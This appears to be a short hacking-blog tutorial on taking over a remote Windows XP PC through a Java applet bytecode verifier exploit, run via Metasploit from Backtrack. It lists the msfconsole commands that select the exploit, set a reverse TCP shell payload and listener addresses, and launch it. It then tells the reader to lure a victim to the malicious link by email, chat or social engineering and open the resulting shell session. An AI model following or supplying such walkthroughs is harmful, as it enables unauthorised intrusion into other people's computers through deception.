Hack Remote PC using Java Applet Field Bytecode Verifier Cache Remote Code Execution

This module exploits vulnerability in HotSpot bytecode verifier where an invalid optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient type checks. This allows a way to escape the JRE sandbox, and load additional classes in order to perform malicious operations.

Exploit Targets

Generic (Java Payload) (default)

 Windows x86 (Native Payload)

 Mac OS X PPC (Native Payload)

 Mac OS X x86 (Native Payload)

 Linux x86 (Native Payload)


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/multi/windows/browser/java_verifier_field_access

Msf exploit (java_verifier_field_access)>set payload java/shell_reverse_tcp

Msf exploit (java_verifier_field_access)>set lhost (IP of Local Host)

Msf exploit (java_verifier_field_access)>set srvhost (This must be an address on the local machine)

Msf exploit (java_verifier_field_access)>set uripath / (The Url to use for this exploit)

Msf exploit (java_verifier_field_access)>exploit

Now an URL you should give to your victim

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 


Leave a Reply

Your email address will not be published. Required fields are marked *